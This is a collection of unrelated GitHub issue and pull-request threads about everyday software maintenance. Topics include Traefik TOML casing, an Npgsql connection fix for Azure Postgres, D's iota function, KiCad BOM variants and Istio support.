Add quotes around string values; Better dark mode support for ReplView

Proposed Changes

Add proper dark mode support for play icon in ReplView
All text values will now have double quotes around them to avoid values such as yes, no, off, on to be interpreted as booleans as defined in the YAML 1.1 spec.

Screenshot
See the - tapOn: "25h 22m 22s" command

Before
After

Testing
Tested locally.

Will tackle this in another way, closing this PR


Adding new Spelling rule error message

Adding a less confusing Spelling rule error message

Nice, I like the way that you've made this message clearer.


Using uniform initialization

Hi,
It may be a good practice using uniform initialization at the following examples

cpp-docs/docs/cpp/codesnippet/CPP/how-to-create-and-use-shared-ptr-instances_3.cpp
cpp-docs/docs/cpp/codesnippet/CPP/how-to-create-and-use-shared-ptr-instances_4.cpp

vector<shared_ptr<Song>> v{
    make_shared<Song>("Bob Dylan", "The Times They Are A Changing"),
    make_shared<Song>("Aretha Franklin", "Bridge Over Troubled Water"),
    make_shared<Song>("Thal�a", "Entre El Mar y Una Estrella")
  };

instead of
    vector<shared_ptr<Song>> v;
    v.push_back(make_shared<Song>(L"Bob Dylan", L"The Times They Are A Changing"));
    v.push_back(make_shared<Song>(L"Aretha Franklin", L"Bridge Over Troubled Water"));
    v.push_back(make_shared<Song>(L"Thal�a", L"Entre El Mar y Una Estrella"));

BTW, this is my first issue on this project.
Thanks ❤

Seems reasonable. @tuncatunc Feel free to put together a PR for this change. @mikeblome will likely review.

Pull request #220 is created.


chore: added pagination support for nim catalog response

Description

This PR adds pagination support for the NVIDIA NIM available runtimes endpoint. We use a page size of 100; a couple of weeks back, there were 39 runtimes available, and today, there are 48. NVIDIA's endpoint will paginate the results if the available runtimes exceed the set page size.
Jira: NVPE-79.

[!NOTE]
We have another Jira, NVPE-80, for exploring the right page size for us.

How Has This Been Tested?

Besides updating the API mock to return multiple pages for the available runtimes endpoint, I also used the script in the hack folder to invoke the real API manually after setting the page size to 10. I then confirmed we get five responses (48 runtimes). The page numbers are consistent and as expected.
Merge criteria:

[x] The commits are squashed in a cohesive manner and have meaningful messages.
[ ] Testing instructions have been added in the PR body (for PRs involving changes that are not immediately obvious).
[x] The developer has manually tested the changes and verified that the changes work

/ok-to-test

I don't know the NIM API, but I found weird that in ngc_catalog_response_page_1.json  you kept the data for phi-3-mini-4k-instruct under the _scored group.
It is a minor comment, but otherwise, I see the code is fine. I'm happy to approve if that data is meant to be there.

I actually did that one on purpose. For some reason, that is what happens with the real API; the "_scored" group, being the smaller one, gets carried over for the next responses. From my tests, it looks like the page size only affects the "CONTAINER" group (maybe because it's the bigger one). The rest of the response (with the exception of the page number, of course) gets copied to the next responses in the chain of pages.


Documentation link broken

https://pafpy.xyz is broken
Thanks,
Stefano

Hi @StefanoLonardi it's working for me?

Works now. It did not a few days ago. thanks


"features.pyx" file issue

When I extract features of STL10 dataset, I ran make_stl_data.py which use setup_features.py.
But I can't find the file "features.pyx" in it.
setup(
name = "features",
ext_modules = cythonize("features.pyx"),
include_dirs = [np.get_include()]
)
and I got a
ValueError: 'features.pyx' doesn't match any files
So did I miss some steps and how can I fix it?
Thanks

I figured it out using features.pyx from somewhere else

hi, I have the same problem.
Could you tell my how to deal with this problem?

checkout this https://github.com/cvondrick/pyvision/blob/master/vision/features.pyx

@Lustralisk Thanks

and do you know where is the hog? Features module has no attribute 'hog'.
I get a error in here.

"H = np.asarray(Parallel(n_jobs=n_jobs)( delayed(features.hog)(X[i]) for i in xrange(N) ))"

@hukangrong It's been too long and I almost forgot about it, sorry. But you can try to refer to stackoverflow, I believe you can find your answer :)

@Lustralisk I have only one question. Whether you can do "python make_stl_data.py" successful?

Hi.
copy this files to dec folder.
https://github.com/cvondrick/pyvision/blob/master/vision/features.pyx
add to dec.py: from PIL import Image
modify: H = np.asarray(Parallel(n_jobs=n_jobs)( delayed(features.hog)(Image.fromarray(X[i])) for i in xrange(N) ))
and comment this:
H_img = np.repeat(np.asarray([ hog_picture(H[i], 9) for i in xrange(100) ])[:, :,:,np.newaxis], 3, 3)
dispImg(H_img, 10, fname+'_hog.jpg')

Hi.
copy this files to dec folder.
https://github.com/cvondrick/pyvision/blob/master/vision/features.pyx
add to dec.py: from PIL import Image
modify: H = np.asarray(Parallel(n_jobs=n_jobs)( delayed(features.hog)(Image.fromarray(X[i])) for i in xrange(N) ))
and comment this:
H_img = np.repeat(np.asarray([ hog_picture(H[i], 9) for i in xrange(100) ])[:, :,:,np.newaxis], 3, 3)
dispImg(H_img, 10, fname+'_hog.jpg')


Remove expiration/TTL commands that are not supported by Valkey

Support for this commands may come in the future1. But it will take some time, so for now it's better to drop them.
This is a breaking change for 6.1.
Close #78

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 59.55%. Comparing base (55408ff) to head (4c71468).

:exclamation:  There is a different number of reports uploaded between BASE (55408ff) and HEAD (4c71468). Click for more details.
HEAD has 69 uploads less than BASE

Flag
BASE (55408ff)
HEAD (4c71468)

72
3

Additional details and impacted files
@@             Coverage Diff             @@
##             main     #125       +/-   ##
===========================================
- Coverage   75.29%   59.55%   -15.75%
===========================================
  Files         132      130        -2
  Lines       34497    33874      -623
===========================================
- Hits        25974    20173     -5801
- Misses       8523    13701     +5178

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Fix connect failure: Azure Database for Postgresql

Workaround
Npgsql <-> Azure DB for Postgresql
Npgsql doesn't appear to be able to handle not being passed a database, as part of connection string in Azure, where login name has the format login@name.
You'd expect it to default to database postgres, but alas, it doesn't
Example Connection String, after database removed by code
Server=myhost.postgres.database.azure.com; User Id=postgres@myhost; Password=Password123!;
Error
An unhandled exception of type 'Npgsql.PostgresException' occurred in System.Private.CoreLib.dll
3D000: database "postgres@myhost" does not exist

Proposed change
Keep other database providers as-is, but explicitly set Database in connection string to "postgres", after "catalog" has been set.
Related Side Note
Serene will fail if admin login not created as "postgres" in Azure db setup. This is due to hardcoded ownership in NorthwindDBScript_PostgresData.sql.
Issue not addressed in this fix, but caused me grief in above testing so noting here

thanks but wouldnt it be better to fix northwind postgres script if thats the case?

no prob, thanks for such a prompt response, it seems a great project 🙂
I've only just got it working with this workaround, but I'm excited to go exploring now!
Fixing the postgres script, as you mention, would help with the related side-note (that' I've now edited to make clearer is a related side-note). This fix is for an issue happening at initial connection; before db creation, or postgres script execution.
If I'm tracing this right, it goes something like:

db connection string parsed to conn Builder cb
db name in connString saved to variable, for later use (not for connection string use, as seen below)
Database param removed from connString object cb

My guess is since migration might need to create our db,  we need to initially connect to a platform-specific default; master, postgres, or whatever - hence saving our db name to a var and dropping it from the connString

For SQL Server - and potentially the other providers - the subsequent call into Npgsql to connect without a DB works.  Npgsql handles the db-less connString and connects to the default database (master etc).
For an Azure DB for Postgresql, Npgsql seems to fail to parse their db-less connString with login format aaa@bbb

Npgsql doesn't default to db postgres, as expected. Instead, it populates the db field of the connString with the login name aaa@bbb, then throws an exception stating database aaa@bbb doesn't exist.

Since Npgsql isn't implicitly doing what's expected, this fix makes it explicit.
Recreate issue

docker run --name postgres1 -p 5432:5432 -e POSTGRES_PASSWORD=Password123_ -d postgres
Add a login test1@test

CREATE ROLE "postgres@anything" WITH
  LOGIN
  SUPERUSER
  INHERIT
  CREATEDB
  CREATEROLE
  NOREPLICATION
  PASSWORD 'Password123_';

VS2019 -> New Serene template project proj1
Uncomment Postgres support in Startup.cs and add Npgsql package
Set connection string in app.settings

{
  "Data": {
    "Default": {
      "ConnectionString": "Server=localhost;Database=proj1_default_v1;User Id=postgres@anything;Password=Password123_",
      "ProviderName": "Npgsql",
      "Dialect": "Postgres"
    },
    "Northwind": {
      "ConnectionString": "Server=localhost;Database=proj1_northwind_v1;User Id=postgres@anything;Password=Password123_",
      "ProviderName": "Npgsql",
      "Dialect": "Postgres"
    }
  }
```6. Validate login with `postgres@anything` role
7. Debug project
8. Exception thrown: `unable to connect to database postgres@anything`

Ok thanks for detailed explanation. I can't test these at the moment, but could you confirm that this change would not break when someone is using a local postgres database and it would still let Serene to create a database automatically. I don't know much about postgress, and don't know if "postgres" is something like "masterdb" in SQL.

postgres db has a different function to master db, technically, but it is the default database in postgresql according to their docs, so it probably makes sense to use it here.
Most clients I've used seem to default to postgres db, if you don't supply one., as well
Testing
I can confirm that I've tested without databases (fresh build). They are still created successfully in all of the following test scenarios:

default:  localdb ✅
postgres: localhost ✅
postgres: Azure DB ✅

All also continued to work if database already existed; no issues at all.
Sidenote
I haven't tested MySQL, with or without the fix, due to time constraints

Thanks a lot, merging


Change rpm signing role with new one

Signed-off-by: Sayali Gaikawad<EMAIL_ADDRESS>Description
With jenkins going public we had to change the permissions from old account to new account, hence created a new role and replaced it in this PR.
Issues Resolved
Part of https://github.com/opensearch-project/opensearch-ci/issues/122
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #2352 (f437510) into main (4d428a3) will increase coverage by 5.38%.
The diff coverage is n/a.

@@              Coverage Diff              @@
##               main     #2352      +/-   ##
=============================================
+ Coverage     94.61%   100.00%   +5.38%
=============================================
  Files           209         6     -203
  Lines          4309       105    -4204
  Branches         29        19      -10
=============================================
- Hits           4077       105    -3972
+ Misses          226         0     -226
+ Partials          6         0       -6

Impacted Files
Coverage Δ

src/ci_workflow/ci_check_gradle_dependencies.py

...rtifacts_actions_OpenSearch_Dashboards_Jenkinsfile

src/test_workflow/perf_test/perf_test_suite.py

tests/jenkins/jobs/UploadToS3_Jenkinsfile

src/manifests/build_manifest.py

src/build_workflow/build_recorder.py

tests/jenkins/jobs/BuildArchive_Jenkinsfile

tests/jenkins/jobs/CreateReleaseTag_Jenkinsfile

tests/jenkins/jobs/BuildDockerImage_Jenkinsfile

src/build_workflow/builder_from_dist.py

... and 193 more


Keycloak-Login-Page is titled 'adesso-project-board'

If possible we should change that to 'adesso kicker'

I'll ask project boards designer if he could make us an individual keycloak-theme


meson: Add fallback mechanism to find iniparser

In case that there are no cmake files or no pkg-config files for iniparser, this patch adds fallback mechanism to find it.
Signed-off-by: Wook Song<EMAIL_ADDRESS>

:memo: TAOS-CI Version: 1.4.20191203. Thank you for submitting PR #7. Please a submit 1commit/1PR (one commit per one PR) policy to get comments quickly from reviewers. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/.


Ensure All html structure passes html5 validation.

Ensure All html structure passes html5 validation using mozilla html5-lint: https://github.com/mozilla/html5-lint/blob/master/html5check.py

completed.


toml file parsing regression in v2.0:alpha6

Do you want to request a feature or report a bug?
Bug
Did you try using a 1.7.x configuration for the version 2.0?

[ ] Yes
[x] No

What did you do?

dalan [Today at 1:11 PM]
Getting an error on the new 2.0.0-alpha6
traefik                 | 2019/06/20 13:09:38 command /traefik error: entryPoints cannot be a standalone > element (type static.EntryPoints)
This is my traefik.toml file
[entryPoints]
[entrypoints.http]
address = ":80"
[entrypoints.https]
address = ":443"
It appears the docs haven't changed for defining entrypoints, so I'm not sure what's going wrong. It'd be super useful if the line the parse error bailed out on was logged. (edited)
12 replies
ldez  [11 minutes ago]
@dalan could you try to remove the first [entrypoints] ? (edited)
dalan  [9 minutes ago]
That was it :+1:
dalan  [9 minutes ago]
Now getting field not found node: domain
ldez  [8 minutes ago]
give me your configuration
dalan  [8 minutes ago]
OOC where is the toml file being used for tests?
ldez  [8 minutes ago]
in the majority of the integration tests
ldez  [5 minutes ago]
could you give me more information about your run and configure?
ldez  [4 minutes ago]
docker-compose file, toml file, ...
dalan  [4 minutes ago]
https://github.com/containous/traefik/blob/master/integration/fixtures/file/simple.toml#L8
dalan  [3 minutes ago]
Shouldn't the tests have failed for alpha6 if parsing the above? (edited)
ldez  [2 minutes ago]
we have a regression on file parsing, could you open an issue thanks. I will fixed that asap (edited)
dalan  [1 minute ago]
Can do! Thanks as always for your help @ldez :pray:

https://traefik.slack.com/archives/C0CDT22PJ/p1561036260137500
What did you expect to see?
[entryPoints]
  [entrypoints.http]
    address = ":80"

  [entrypoints.https]
    address = ":443"

Should work fine in a config file. Plus this should've been caught via the simple toml file being parsed in the integration tests.
https://github.com/containous/traefik/blob/master/integration/fixtures/file/simple.toml#L8
What did you see instead?
traefik                 | 2019/06/20 13:22:05 command /traefik error: entryPoints cannot be a standalone element (type static.EntryPoints)

Output of traefik version: (What version of Traefik are you using?)
Version:      2.0.0-alpha6
Codename:     faisselle
Go version:   go1.12.6
Built:        2019-06-18T18:25:38Z
OS/Arch:      linux/amd64

What is your environment & configuration (arguments, toml, provider, platform, ...)?
n/a

The root of the issue is case: entryPoints != entrypoints
TOML is case sensitive, we use TOML lib that have a weird behavior this case sensitivity:
Valid:
[entrypoints]
[entrypoints.http]
address = ":80"

Valid:
[entryPoints]
[entryPoints.http]
address = ":80"

Valid:
[EntryPoints]
[EntryPoints.http]
address = ":80"

Not valid:
[entryPoints]
[entrypoints.http]
address = ":80"

It's not a new behavior, but we are more strict in the v2 than in the v1 about this kind of typo.

@ldez That's kind of important to make a note of in the documentation then. The inconsistency in examples in the docs threw me off and gave the impression that there was no case sensitivity.
File Provider:
  [providers.file]
    filename = "rules.toml"

Static file reference:
  [Providers.File]
    Filename = "foobar"

See how there is a switch to using Pascal Case, where other parts of docs show Camel Case. Perhaps a find/replace on EntryPoints. to entryPoints. and similar would help here?
Mentioning the importance of case consistency for file provider / toml config could be good here? (Maybe in the reference for static/dynamic too).

Does the file example in this middleware work? Does the [pascal|lowercase|camel] casing need to be throughout the config or can individual components like forwardAuth in the example below each be their own casing?
# Forward authentication to authserver.com
[http.middlewares]
  [http.middlewares.test-auth.forwardAuth]
    address = "https://authserver.com/auth"
    trustForwardHeader = true
    authResponseHeaders = ["X-Auth-User", "X-Secret"]

    [http.middlewares.test-auth.forwardauth.tls]
      ca = "path/to/local.crt"
      caOptional = true
      cert = "path/to/foo.cert"
      key = "path/to/foo.key"

https://docs.traefik.io/v2.0/middlewares/forwardauth/

The docs have some consistency issues and I think you spotted one there(I haven't tried it as I can't seem to get tls to work).
AFAIK, the casing type doesn't matter as long as it's consistent for any repetition downwards, so since the parent is forwardAuth you would need to keep that as well, but any sub/child fields like .tls could be .TLS. Likewise you could have http.MIDDLEWARES, so long as that casing was consistent.

Alright, so this isn't a regression but the docs should:

Mention that any sort of casing is sufficient as long as it's consistent throughout your *.toml
Be consistent across all the code snippet examples (does containous have a preference?)
Should have tests for this to ensure that the chosen casing is maintained.

Any suggestions for where that should be mentioned? Perhaps in the Getting Started section? I know that the docs mention the TOML format, but people want to just get started and may not read up enough to be familiar with the casing mattering in this way(as it's not immediately apparent). The docs having a consistent casing convention would at least avoid this issue pretty well. Perhaps the reference pages could also hyperlink back to the Getting Started section on TOML casing if that'd be useful too.

Closed in favor of #5028 (we need to fix the documentation)
Thank you for helping us improving Traefik!


Hardware

USB-UART converter connection:

More hardware photos:

Custom case with minimal size:

FreeCAD project and stl for 3d printing located in 'user' dir.

Original vs custom case comparison:


Main example code?

Hello, can you offer us source code with all html,css and js  for your main example? (Next year begins in:)
Thanks.

https://github.com/hilios/jQuery.countdown/blob/gh-pages/_includes/main-example.html

https://github.com/hilios/jQuery.countdown/blob/gh-pages/css/main.css#L159


Update README.md

Closes #
📑 Description

✅ Checks

[x] My pull request adheres to the code style of this project
[x] My code requires changes to the documentation
[x] I have updated the documentation as required
[x] All the tests have passed

☢ Does this introduce a breaking change?

[ ] Yes
[x] No

ℹ Additional Information

Summary by Sourcery
Documentation:

Revise the contribution section in the README.md to provide clearer instructions on how to contribute, including forking the repository, creating a new branch, and submitting a pull request.

Description by Korbit AI
What change is being made?
Update the contribution guidelines in README.md to provide more detailed instructions on how to contribute, including forking the repository, creating a new branch, and submitting a pull request with a detailed description.
Why are these changes being made?
The previous contribution section was vague and did not give enough guidance to potential contributors on the steps they should follow, which could discourage contributions or lead to confusion. The updated instructions aim to provide clarity and encourage more organized and effective contributions to the project.

Is this description stale? Ask me to generate a new description by commenting /korbit-generate-pr-description

Summary by CodeRabbit

Documentation

Enhanced clarity and structure of contribution guidelines in the README.
Expanded contribution steps into a bulleted list for easier understanding.

@gstraccini create labels


4 errors with examples/vault-on-gce

I'm using the vault-on-gce example and I've been getting the following errors during a terraform apply is anyone else experiencing this?
Error: Error applying plan:

4 error(s) occurred:

* module.vault.google_storage_bucket.vault: 1 error(s) occurred:

* google_storage_bucket.vault: project: required field is not set
* module.vault.google_storage_bucket.vault-assets: 1 error(s) occurred:

* google_storage_bucket.vault-assets: project: required field is not set
* module.vault.module.vault-server.google_compute_firewall.default-ssh: 1 error(s) occurred:

* google_compute_firewall.default-ssh: project: required field is not set
* module.vault.google_service_account.vault-admin: 1 error(s) occurred:

* google_service_account.vault-admin: project: required field is not set

Try setting the project and then run terraform apply
export GOOGLE_PROJECT=$(gcloud config get-value project)

Thanks @jasonbisson having done that I now get the following
* module.vault.google_storage_bucket_object.vault-tls-key: 1 error(s) occurred:

* google_storage_bucket_object.vault-tls-key: Error, either "content" or "source" must be specified
* module.vault.google_storage_bucket_object.vault-sa-key: 1 error(s) occurred:

* google_storage_bucket_object.vault-sa-key: Error, either "content" or "source" must be specified
* module.vault.google_storage_bucket_object.vault-tls-cert: 1 error(s) occurred:

* google_storage_bucket_object.vault-tls-cert: Error, either "content" or "source" must be specified
* module.vault.google_storage_bucket_object.vault-ca-cert: 1 error(s) occurred:

* google_storage_bucket_object.vault-ca-cert: Error, either "content" or "source" must be specified

This issue is cause by human error, I screwed up the values of the kms_keyring_name and kms_key_name within the terraforms.tfvars file
This correct this is as follows
...
kms_keyring_name = "vault"

kms_key_name = "vault-init"
...

This issue persist even though I fixed the value for kms_keyring_name

Can you run env and grep for the 4 required input variables before running the command? I had a similar issue and turned out a variable was not set. Also, this one might be obvious but you might want to check the service account env too.
On Apr 18, 2018 10:41 AM, Dale-Kurt Murray<EMAIL_ADDRESS>wrote:
This issue persist even though I fixed the value for kms_keyring_name
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/GoogleCloudPlatform/terraform-google-vault/issues/22#issuecomment-382410994, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AS2adkonT5K8O4RrGfCZzWCxQoB_aDuiks5tp1B-gaJpZM4TR2b1.


Allow iota implementation of custom types

Change the phobos iota implementation so that it does not conflict with
custom types that have a custom implementation of iota.

This is a retry of https://github.com/dlang/phobos/pull/4458, with the comments from @schveiguy. I did not introduce tests, as I'm not sure how to do that. I will need to add two modules in order to test it properly, and I'm not sure where is the correct place to add those.

I don't think tests are necessary here. There's no reason to compile iota(x) if iota(0, x) doesn't work. But I'm still curious what the lacking functionality is inside the main iota that makes it necessary to implement your own. What is iota doing that your type can't support?

@schveiguy the main reason, but I completely agree it can be fixed by this very patch, is that iota excludes itself from working on anything which isn't an integral type, floating point or pointers. Custom types are specifically excluded, which means they must provide their own.
In theory (not relevant to my case), one might thing of a case where you'd want a type to be iteratable, but not to accept algebra. In such a case, you'd implement iota, but not opBinary!"+" and not opUnary!"++".
Either way, I don't see any way in which this patch does not make phobos better. It can be argued, and it is worth looking into, that we should also relax the restrictions around iota(begin, end). Since, unlike this patch, that is a breaking change, I'm a bit reluctant to simply introduce it as a PR without first discussing it on the forum.

I looked again at our type and at the existing overloads of iota, and it seems the reason it does not use the default iota is because we failed to define opUnary!"++". Knowing the type's semantics, I believe this is a simple oversight. With my patch, this type should be able to use the standard iota.

I'd add a unit test using iota with such a custom type

Related bug report:
https://issues.dlang.org/show_bug.cgi?id=10762

@Shachar Thanks for clarifying. I think it still feels correct for iota wrapper to be deselected if main iota cannot compile. So I still want to pull this.
@atilaneves the problem is, how do you check that the first version of iota doesn't get considered when iota doesn't compile? I don't think there's a way to verify the error message. Besides, this fix is so obvious and simple, we don't generally do exhaustive tests of template constraints normally.
@ZombineDev That's unrelated to this -- iota(someDate) doesn't make any sense because there is no expected 0 or obvious increment defined.

the reason it does not use the default iota is because we failed to define opUnary!"++".

A good enhancement for iota would be to just do x += E(1) when ++ isn't defined but += is.

@schveiguy You verify it by writing the test first and making sure it fails. Then introduce the change and it's green. Essentially, verifying which code path was taken isn't interesting; verifying that things work is. Tests aren't just for verification, their purpose is also to prevent regressions. If there's no test and somebody deletes that block of code, since nothing fails they could assume that the block was useless.

@schveiguy Just to clarify. I need this patch in regardless of my most recent revelation. Without the change of E begin = 0; to E begin = E(0); nothing would work for my type.
As for the tests, I'm attaching the files I used to test this with. I do not see how you can run these tests in any meaningful way without using two extra modules dedicated to this. I don't know where would be a good place to place those files, nor how to construct the test in a way that will not interfere. I tend to think they are more trouble than they're worth, but I'm open to any reasonable consensus.
ut.zip

I don't think it's worth adding two modules to test this.

@schveiguy I didn't say that it was the same issue, just that it was related.
I'm not sure why you're bringing iota(someDate) up, but now that I think about it, it seems totally reasonable to expect that it would be equivalent to iota(Date.init, someDate, dur!"days"(1)) (e.g. a calendar app that allows the user to go back to first day representable by the Date type).
If I understand you correctly, the issue you take with the unary case is that the start and step are ambiguous/undefined. What I think most people would find intuitive is that in general iota!T would generate elements stsrting from the first value representable by T to the last one and using the reasonably smallest step possible: iota(T.min, T.max, T.epsilon), considering that epsilon is 1 for integers, 1 day for Date and e.g. 100ns for MonoTime (== MonoTime(1)). Providing T.min (or a usable T.init) and T.max when making a user type seems more generally useful than writing a specialization of iota for them. As for epsilon, iota should be able to guess it either by using ++ or by += E(1)

@Shachar is there a reason why you prefer E(0) over E.init or E.min? I think that implementing iota in terms of them is more general.;

@Shachar is there a reason why you prefer E(0) over E.init or E.min? I think that implementing iota in terms of them is more general.

E.min would be surprising, I think. int.min is a negative number. float.min doesn't exist.
E.init is ok for integer types, but it's NaN for floating point types. Now, we could say that generally it's E.init, but for floating point types it's 0. But I think that just shows that we really want zero.
Duration has a zero property. E.zero could be another option for custom types. Would be a bit more specific than E(0).

@ZombineDev: Everything @aG0aep6G has said, plus one more which, I think, is the most important one. This discussion is unrelated to this PR.
This PR was meant to solve a specific problem with iota, as implemented, preventing custom implementations. As such, if the code says E begin = 0;, the only thing it can change to is E begin = E(0);.
Maybe it should be something else. With this PR merged, it can be, if that's what makes most sense for your type. Either way, this should be discussed in that context, not in this one.

@ZombineDev I bring up iota(someDate) because this PR is about making it so iota(x) compiles, and has nothing to do with the full iota call (which that issue is talking about).

Using E(0) is as correct as we can make it -- it handles all the builtin types, and allows custom types to define a default "zero" constructor. If one needs to get more specific, use the full iota call.

So.... would someone please accept it?

This needs a unittest to prevent regressions. Maybe something like:
unittest
{
    struct MyType
    {
        int impl;
        this(int value) { impl = value + 100; }
    }
    MyType x;
    auto r = iota(x);
    assert(r.front == MyType(100));
}

LGTM once a test is added.

@quickfur that doesn't help (note that your example doesn't work anyway, but I see what you meant). The reason to do this is when the main iota function doesn't work a your custom type. So you have to implement your own iota function for that type. However, the iota(MyType) call did get selected, so you couldn't override that.
In order to properly test this, you need another module that defines the custom type, and a third module that defines the custom iota (because a local iota would override the std.range one). I don't think it's worth it, when the result of the new code is very obvious. We don't generally test that constraints are valid in unit tests, we just care that things compile or not. Here, it's nuanced -- checking for failure to compile needs to fail in a certain way.

I see. So can we merge this then? It's a small change (albeit with possibly large consequences).

Auto-merge toggled on

@quickfur I'm fine with merging it, I just wanted another thumbs up.

albeit with possibly large consequences

I don't see what these would be...

Well, maybe "large" is an overstatement. Let's merge and see. The revert button is always there if unexpected breakage occurs. :-)


Fixed selection columns for variants.

It would be usefull to preload some columns with fixed selection values based on variants.
There is already --variants-whitelist and --variants-blacklist but these do not create columns, and they are not regex.
Context:
I use KiCAD with KiCost to manage variants.
KiCost allows use to specify a regex that helps filter all the variants.   The dnp and variant fields determine together which components are ultimately present.
The contents of most other fields (description, value, ...) can also be changed through the variant expression.
So when I add --variant '^(screen3v|button3)$' , the screen3v and button3 variants are selected.
Proposal
My proposal is that InteractiveHtmlBom also understand a variant option  that is based on regex and allows the generation of named columns with tickboxes.
Example:
Repeat the same option multiple times
generate_interactive_bom.py --variant '3btn3Vscreen=^(screen3v|button3)$' --variant '2btn5Vscreen=^(screen5v)$' <otheroptions>

or
to be similar to the existing variant options, using space as a separator:
generate_interactive_bom.py --variant-regex '3btn3Vscreen=^(screen3v|button3)$ '2btn5Vscreen=^(screen5v)$' <otheroptions>

(when the equal sign is missing, this could be considered as a nameless field or only as a regex selector complementing the variants whitelist and blacklist options).
Regex is useful with buttons for example, use button.* to select all buttons.
The suggested examples would add two columns '3btn3Vscreen' and '2btn5Vscreen' to the HTML file much like the default Sourced and Placed columns.  They may be modifiable, but the modfications may/(should) be suppressed on reload (which could be an option).
Applying the other impacts of the variant selection (component value) would be nice, but only applicable when only one variant is added (simpliest case because this value is the only one in the HTML file) or selected (more complex case because this adds logic to the HTML file).

If I understand correctly you want to create a boolean derived extra field that will be true when value matches a regex. That has nothing to do with variants really. Variants feature is there to select what gets included in the bom or not.
I don't think this is useful functionality to have in ibom, you can do this by adding another custom field in eeschema and use excel or anything else to do your preprocessing. Ibom can't and shouldn't try to do any processing on your fields, it will never have flexibility of software designed to do data processing.
Going back to variants, I can see some value in having regex support in variant whitelist but I'm curious to hear of any practical example where you have so many variants that you can't be bothered to tick a few in the whitelist.

Well, here are some real variant expressions, coping with MCU memory size, input connectors variants, analog circuit variants, voltage variants, input and output options, resistor dividor allowing to read the board variant, an option to choose one or the other rectifier:
VARIANT="^(64k|inp1bnc|inp1|inp1tripAOP|ana5V|inp2bnc|inp2|inp2tripAOP|vnegnc|mot1|5vreg|bridgesldb1|inp1support|inp2support|noF1|vnegnc)$"
VARIANT="^(board_type_duo|inp1bnc|inp1|inp1tripAOP|ana5V|inp2bnc|inp2|inp2tripAOP|ana5V|lvl1|lvl2|flw|flw240v|mot1|mot2|mot2pro|snubber|5vreg|screen5v|bridgesldb1|64k|vneg)"
VARIANT="^(board_type_pe|inp1screw|inp1|inp1tripAOP|ana5V|inp2screw|inp2|inp2tripAOP|ana5V|lvl1|lvl2|flw|flw240v|mot1|mot2|mot2pro|snubber|5vreg|screen5v|bridgesldb1|64k|vneg)$"
VARIANT="^(board_type_pro|inp1screw|inp1|inp1tripAOP|ana5V|inp2screw|inp2|inp2tripAOP|ana5V|bornier_lvl12_flw_clm|flw240v|mot1|mot2|mot2pro|snubber|1wireOnConn2|5vreg|screen5v|bridgesldb1|connextscl|oc_out|extheader|64k|vneg)$"
VARIANT="^(inp1bnc|inp1|inp1tripAOP|ana5V|mot1|noF1|board_type_star|button3|screen5v|bridgesldb1|64k|notvneg)$"
VARIANT="^(inp1bnc|inp1|inp1tripAOP|ana5V|mot2|board_type_cp|button3|screen5v|bridgesldb1|64k|notvneg)$"
VARIANT="^(inp1bnc|inp1|inp1tripAOP|ana5V|mot2|mot2pro|snubber|board_type_cp|button3|screen5v|bridgesldb1|64k|notvneg)$"
VARIANT="^(inp1screw|inp1|inp1tripAOP|ana5V|mot2|board_type_cp|button3|screen5v|bridgesldb1|64k|notvneg)$"
VARIANT="^(inp1screw|inp1|inp1tripAOP|ana5V|mot2|mot2pro|snubber|board_type_cp|button3|screen5v|bridgesldb1|64k|notvneg)$"
VARIANT="^(inp1|ana5V|5vjack|connexti2cwtb|connextscl_3v3|connextscl_5v|connscl|connscl_3v3|connscl_5Vnr|connspi|connspi_3v3|connspi_5Vnr|eeprom|esp32|extheader|extsigheader|inp1screw|inp2|inp2bnc|inp2screw|lvl1|lvl2|mcu.xtal32|mot1|mot800mA|mot8A|notvneg|rf|rtc|rtc.smallcap|rtc.supercap|smaconn|vneg|vrefzener|extrapowercap|clm|bornier_lvl12_flw_clm|screen5v|.*)$"
VARIANT="^(mot1|1wireOnConn2|connextscl|rtc|rtc.supercap|board_type_tp|button3|screen5v|bridgesldb1|64k|notvneg)$"

Another one for a display board coping with different types of LCD_16x02 display modules, some having connector on the side, some on the top, within those some with negative backlight drive others with GND backlight drive, I2C or parallel screen interface, internal negative voltage or external negative voltage, different possibilities of connectors:
--variant "^(parallScreen|screenSRow|K_neg|veeOut|proto)$"
--variant "^(i2cScreen|screenSRow|K_neg|veeOut|connRightSMD)$"
--variant "^(parallScreen|screenSRow|connUpSMD)$"
--variant "^(parallScreen|screenSide|conn2x03_1_27)$"
--variant "^(i2cScreen|screenSide|K_neg|conn2x03_2_54)$"
--variant "^(i2cScreen|screenRow|conn1x06_2_54)$"

I understand that currently the "variant" fields selects what gets included in the interactive BOM, but another way of doing things is to include everything and have columns indicate what is selected for the BOM.  This way all components are in the interactive BOM.
There could even be a column for the DNP's (the opposite of what was selected by the variants).
Wheter all component should be in the interactive BOM or not could be determined with an options such as '--include-dnp'.
That way it's possible to mark all the locations that are not supposed to have a component and visually compare with the board.

Hi @mdeweerd !

You are right about the models and that's what I try to do - at the same time I wonder about compatibility with the model's licenses.  Maybe another job for KiBot: verify that all the models are in the project - copy them in and adjust the project if not?

This is the feature I mentioned in INTI-CMNB/KiBot#279 ;-)


Add an option to allow invalid certificates when using TLS

While everyone would (and should) opose against this, it's pretty convinient in dev and test environments to allow the mail servers to have invalid or expired certificates. Or sometimes you just a malconfigured mailserver which you need to use.
I know this is a bad idea. But I still think there might be some almost valid use cases.

This is a duplicate of #89


Uploading .txt files is done as binary @ldl5007

Uploading .txt files is done as binary @ldl5007

fixed by aab6e34


Support for Istio 1.7

Add support to wasme for Istio 1.7. We need to be able to create (init) and deploy filters that work with Istio 1.7.
There were no breaking envoy-wasm ABI changes between Istio 1.5 and Istio 1.6, so we should test a 1.6 image against Istio 1.7 to see if it's backwards compatible.

If it is, we can simply add 1.7 to the same target as the existing 1.5 and 1.6. (See https://github.com/solo-io/wasme/pull/144).

If it's not backwards compatible, we'll need to create a new ABI target for Istio 1.7.

+1

